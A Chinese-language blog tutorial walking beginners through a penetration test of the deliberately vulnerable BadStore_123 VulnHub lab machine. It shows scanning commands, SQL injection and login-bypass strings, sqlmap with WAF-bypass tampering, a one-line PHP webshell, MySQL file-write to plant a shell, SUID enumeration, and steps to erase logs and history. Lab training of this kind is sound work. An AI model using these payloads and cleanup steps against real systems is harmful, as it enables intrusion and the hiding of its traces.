VulnHub新手必看:BadStore_123靶机渗透测试实战(附详细步骤)

张开发
2026/4/11 10:03:37 15 分钟阅读

分享文章

VulnHub新手必看:BadStore_123靶机渗透测试实战(附详细步骤)
VulnHub新手实战BadStore_123靶机渗透测试全流程拆解第一次接触VulnHub靶机时很多人会被各种专业术语和操作步骤搞得晕头转向。今天我们就以经典的BadStore_123靶机为例手把手带你走完从环境搭建到权限提升的全过程。不同于那些只给命令不解释的教程我会在每个关键节点告诉你为什么要这么做以及可能遇到的坑。1. 环境准备与初始配置在开始渗透测试之前确保你的实验环境已经正确搭建。我推荐使用VirtualBox作为虚拟机平台它对新手的友好度较高。从VulnHub官网下载BadStore_123的OVA文件后导入过程通常很顺利但有几个细节需要注意网络模式选择桥接模式Bridged Adapter这样你的攻击机和靶机才能处于同一网络段分配至少1GB内存给靶机避免服务运行异常建议使用NAT网络端口转发作为备选方案启动靶机后第一件事就是确定它的IP地址。如果你使用的是Kali Linux作为攻击机可以这样快速扫描sudo netdiscover -r 192.168.1.0/24这个命令会列出当前局域网内所有活跃的主机。找到那个运行着Ubuntu系统BadStore的基础系统的IP就是你的目标。在我的测试环境中靶机IP是192.168.1.105下文都会以这个IP为例。2. 全面信息收集策略信息收集是渗透测试中最关键的阶段也是新手最容易忽视的环节。对于BadStore_123我们需要采用分层递进的侦察策略。2.1 基础服务扫描首先用nmap进行快速扫描nmap -sV -O 192.168.1.105你会看到类似这样的结果端口服务版本信息80/tcphttpApache httpd 1.3.28443/tcpssl/httpsApache httpd 1.3.283306/tcpmysqlMySQL 4.1.7-standard这个结果告诉我们几个重要信息Web服务器运行着老旧的Apache 1.3.28MySQL版本是4.1.7这是个存在大量已知漏洞的版本没有开放SSH端口意味着后续可能需要通过Web或MySQL获取权限2.2 Web应用深度侦察访问http://192.168.1.105你会看到一个典型的电子商务网站。作为渗透测试者需要特别关注以下几个功能点用户注册/登录功能尝试注册普通用户注意观察注册流程中的参数传递搜索功能任何输入框都是潜在的注入点URL结构留意是否有类似admin.php这样的管理后台路径使用dirb进行目录扫描是个好主意dirb http://192.168.1.105 /usr/share/wordlists/dirb/common.txt在扫描结果中特别注意以下发现/cgi-bin/ 目录老版本Apache常见漏洞点/images/ 目录可能包含敏感信息/includes/ 目录可能泄露源代码3. 漏洞挖掘与利用有了基本信息后就可以开始寻找具体的攻击面了。BadStore_123设计了几种典型的漏洞场景。3.1 SQL注入漏洞利用在商品搜索框尝试基本的SQL注入测试 OR 11 --如果页面返回了所有商品而不是报错说明存在SQL注入漏洞。我们可以用sqlmap自动化这个过程sqlmap -u http://192.168.1.105/search.php?querytest --batch --dbs这个命令会自动检测注入点类型枚举可用的数据库尝试获取数据库结构注意在实际测试中可能会遇到WAF拦截。这时可以尝试使用--tamper参数绕过如--tamperspace2comment3.2 身份认证绕过在登录页面尝试经典的万能密码admin --或者 or 11如果成功登录说明存在认证绕过漏洞。BadStore_123特意留了这个后门供练习使用。3.3 文件上传漏洞在用户后台尝试上传一个图片马准备一个包含PHP代码的图片文件echo ?php system($_GET[cmd]); ? shell.jpg上传后访问该文件附加命令参数http://192.168.1.105/uploads/shell.jpg?cmdid如果返回了当前用户信息说明上传成功并执行了系统命令。4. 权限提升与后渗透拿到初始shell后我们通常只有www-data这样的低权限用户。接下来需要提升到root权限。4.1 数据库提权由于我们知道MySQL的root用户是空密码这是BadStore_123的设定可以直接登录mysql -h 192.168.1.105 -u root -p登录后执行以下命令尝试提权select sys_exec(whoami);如果返回root说明可以直接执行系统命令。更稳妥的方式是写一个PHP shell到web目录select ?php system($_GET[cmd]); ? into outfile /var/www/html/shell.php;4.2 本地提权技术如果数据库提权失败可以尝试以下方法检查SUID权限的文件find / -perm -4000 2/dev/null查看可写的系统文件find / -writable 2/dev/null | grep -v /proc/检查计划任务crontab -l在BadStore_123中通常会设置一些易受攻击的SUID程序或配置错误的服务供练习使用。5. 痕迹清理与报告撰写完成渗透后作为专业的安全测试人员应该清理留下的痕迹删除上传的webshell清除MySQL日志删除命令行历史最后整理你的发现和建议漏洞列表按风险等级排序复现步骤详细记录每一步操作修复建议针对每个漏洞给出具体解决方案记住渗透测试的最终目的是帮助提升安全性而不仅仅是获取系统权限。BadStore_123作为入门靶机包含了多种典型漏洞非常适合新手用来建立对Web安全的整体认识。

更多文章